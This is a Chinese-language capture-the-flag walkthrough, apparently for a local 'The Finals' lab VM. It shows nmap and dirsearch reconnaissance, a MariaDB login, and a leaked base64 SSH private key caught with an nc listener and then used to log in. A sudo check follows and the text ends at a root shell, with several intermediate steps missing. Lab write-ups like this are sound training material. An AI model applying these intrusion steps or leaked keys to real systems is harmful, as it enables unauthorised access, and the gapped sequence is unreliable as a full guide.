Notes:Please wait for the IP to appear on the screen and then start. If it doesn’t boot, please enable EFI in settings.
前期踩点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
➜ Thefinals nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-02 05:41 EDT Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan ARP Ping Scan Timing: About 2.35% done; ETC: 05:41 (0:00:00 remaining) Nmap scan report for 192.168.56.1 Host is up (0.00036s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for 192.168.56.2 Host is up (0.00025s latency). MAC Address: 08:00:27:65:02:A9 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.56 Host is up (0.00050s latency). MAC Address: 08:00:27:73:DF:E3 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 1.97 seconds
1 2 3 4 5 6 7 8 9 10 11
➜ Thefinals nmap -sT -min-rate 10000 -p- 192.168.56.56 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-02 08:07 EDT Nmap scan report for 192.168.56.56 Host is up (0.00070s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:73:DF:E3 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 4.37 seconds
➜ Thefinals nmap -sT -A -T4 -O -p 22,80 192.168.56.56 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-02 08:08 EDT Nmap scan report for 192.168.56.56 Host is up (0.00069s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) | ssh-hostkey: | 256 42:a7:04:bb:da:b5:8e:71:7a:89:ff:a4:60:cd:4d:29 (ECDSA) |_ 256 37:32:71:ca:3f:11:41:b4:d7:90:1e:c9:7f:e8:bc:20 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Unix)) | http-methods: |_ Potentially risky methods: TRACE |_http-title: THE FINALS |_http-server-header: Apache/2.4.62 (Unix) MAC Address: 08:00:27:73:DF:E3 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 1 0.69 ms 192.168.56.56
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.95 seconds
➜ Thefinals dirsearch -u http://thefinals.hmv -x 403,404,429 -e php,zip,txt /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
/home/june $ mysql -u typecho_u -p mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 4109 Server version: 11.4.5-MariaDB Alpine Linux
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
// /var/log/scotty-main.log Broadcast to eth0 192.168.56.57:1337 Broadcast to eth0 192.168.56.57:1337 Broadcast to eth0 192.168.56.57:1337
通过 nc 接收
1 2 3 4
/home $ nc -ulnvp 1337 listening on [::]:1337 ... connect to [::ffff:192.168.56.57]:1337 from [::ffff:192.168.56.57]:40599 ([::ffff:192.168.56.57]:40599) LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNBMXduMDk0cGhPcXNmYm8rbzNDQllpTjN4QTE2eW1LU2JYMlVZMzJ4L0FFd0FBQUpnRGMvWVVBM1AyCkZBQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDQTF3bjA5NHBoT3FzZmJvK28zQ0JZaU4zeEExNnltS1NiWDJVWTMyeC9BRXcKQUFBRUN2N2tmZW9YT1FDaTVDUklXZEhpRFQ1dXBLeVkzdlF4QWxLbXhFUXpSWkxEWENmVDNpbUU2cXg5dWo2amNJRmlJMwpmRURYcktZcEp0ZlpSamZiSDhBVEFBQUFFbkp2YjNSQWRHaGxabWx1WVd4ekxtaHRkZ0VDQXc9PQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K
看着像是 base64 编码后的,尝试解码。解码后是一串私钥。
最后通过私钥成功登陆上去
1 2 3 4 5 6 7 8 9 10 11
➜ Thefinals vim sshkey ➜ Thefinals chmod 600 sshkey ➜ Thefinals ssh scotty@thefinals.hmv -i sshkey The authenticity of host 'thefinals.hmv (192.168.56.57)' can't be established. ED25519 key fingerprint is SHA256:EzmhY2U9+FvurEu825jyirPaiFVcHNA2joTW03K3glk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'thefinals.hmv' (ED25519) to the list of known hosts. thefinals:~$ whoami scotty
提权 - To root
信息收集
查看 sudo 权限,免密码以 root 权限执行 secret
1 2 3 4 5 6 7 8 9
thefinals:~$ sudo -l Matching Defaults entries for scotty on thefinals: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for scotty: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User scotty may run the following commands on thefinals: (ALL) NOPASSWD: /sbin/secret
thefinals:/tmp$ su root Password: /tmp # id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)